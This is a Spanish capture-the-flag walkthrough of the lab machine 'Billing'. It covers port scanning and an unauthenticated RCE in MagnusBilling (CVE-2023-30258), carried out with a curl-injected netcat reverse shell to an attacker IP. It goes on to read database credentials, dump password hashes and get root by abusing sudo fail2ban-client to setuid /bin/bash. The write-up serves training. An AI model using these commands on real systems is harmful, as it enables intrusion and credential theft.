Billing

10.10.203.95 Linux Fácil

Enumeración

Escaneo inicial

sudo nmap -sC -sV -p- 10.10.203.95

Resultado:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)

80/tcp open http Apache httpd 2.4.56 ((Debian))

3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)

5038/tcp open asterisk Asterisk Call Manager 2.10.6

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Características detectadas:

  • Puerto 22: Servidor OpenSSH (8.4p1)
  • Puerto 80: Servidor Web Apache (2.4.29)
  • Puerto 3306: Base de datos MariaDB (10.3.23)
  • Puerto 5038: Gestor de llamadas Asterisk (2.10.6)

Acceso al portal web (Puerto 80)

http://10.10.203.95/mbilling/
foto

Figura 1: Acceso al portal web (Puerto 80)

Veremos un panel de autenticación

Análisis con Wappalyzer

Con la extensión para navegadores llamada Wappalyzer identificaremos que utiliza el software MagnusBilling con ExtJS 6.2.0.981

foto

Figura 2: Tecnologías encontradas con Wappalyzer

Encontramos un panel de autenticación del software MagnusBilling, este utiliza ExtJS con versión 6.2.0.981

Vulnerabilidad encontrada:

CVE-2023-30258 - Ejecución remota de código sin autenticación

URL de referencia: https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258

Explotación

Reverse Shell

En primer lugar pondremos un servicio a la escucha con Netcat en el puerto 443

nc -lvnp 443
foto

Figura 3: Servicio a la escucha con Netcat (puerto 443)

Esta vulnerabilidad se basa en poder establecer una shell reversa desde la URL:

curl 'http://10.10.203.95/mbilling/lib/icepay/icepay.php?democ=iamhacked;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.9.2.107%20443%20%3E%2Ftmp%2Ff;#'
foto

Figura 4: Ejecución de la llamada a la Shell Reversa en la terminal de Kali Linux

Con ello obtenemos una shell reversa como usuario asterisk

foto

Figura 5: Recibimos acceso en el servicio a la escucha con Netcat

which id
/usr/bin/id
foto

Figura 6: Comprobación de usuario en la Reverse Shell

Enumeración de la base de datos

Investigando el resto de directorios, encontraremos un fichero web que incluye la configuración de conexión con la base de datos:

cat /var/www/html/mbilling/protected/config/main_production.php
foto

Figura 7: El fichero main_production.php contiene una ruta con un fichero de configuración

Encontramos referencia al archivo de configuración MySQL:
/etc/asterisk/res_config_mysql.conf

cat /etc/asterisk/res_config_mysql.conf
foto

Figura 8: Credenciales de acceso encontradas

mysql -u mbillingUser -p
show databases;
select username,password from pkg_user;
foto

Figura 9: Investigación de la base de datos

Intentamos crackear el hash encontrado pero sin éxito

User Flag

Enumerando desde el directorio home vewremos que existe el usuario Magnus,desde el cual logramos leer la flag de usuario:

cd /home/magnus
cat user.txt
foto

Figura 10: Tenemos al alcance la User Flag

foto

Figura 11: User Flag

Escalada de Privilegios

Vamos a listar el contenido del uuario Magnus

ls -la
foto

Figura 12: Vemos el directorio .ssh

foto

Figura 13: Permisos denegados sobre .ssh

Vemos que existe el directorio .ssh, pero no tenemos permisos para leer la clave privadas

Explotando fail2ban-client

Llegados a este punto vamos a intentar comprobar que permisos tenemos con el usuario Magnus

sudo -l
foto

Figura 14: Permisos de root sobre fail2ban-client

Podremos ejecutar el servicio de fail2ban-client como root, por otro lado vemos que utiliza la versión de fail2ban-client 0.11.2

sudo -u root /usr/bin/fail2ban-client version
foto

Figura 15: Fail2ban-client version 0.11.2

Se configurará entonces una acción en fail2ban-client para cambiar los permisos del binario bash. Luego, se ejecuta un baneo manual a una IP, lo que dispara la acción y permite leer la flag de root.

Configurar la acción en fail2ban para ejecutar el cambio de permisos privilegiados en bash:

sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash
foto

Figura 16: Configuración de fail2ban-client para cambiar los permisos del binario bash

Ejecutar el baneo manual de la IP para que active la acción configurada:

sudo /usr/bin/fail2ban-client set asterisk-iptables banip 10.10.203.95
foto

Figura 17: Configuración de fail2ban-client para bloqueo de IP

Devuelve 1 es decir, está activado

Fail2ban modificará los permisos de /bin/bash y nos hará tener privilegios totales sobre dicha carpeta.Para verificar los permisos de /bin/bash para asegurarnos de que el bit setuid esté activado:

ls -lna /bin/bash
foto

Figura 18: Permisos modificados correctamente

Root Flag

Iniciaremos una nueva sesión de bash con privilegios:

bash -p
foto

Figura 19: Acceso a nua nueva terminal de bash

whoami
foto

Figura 20: Comprobación de privilegios

cat /root/root.txt
foto

Figura 21: Root Flag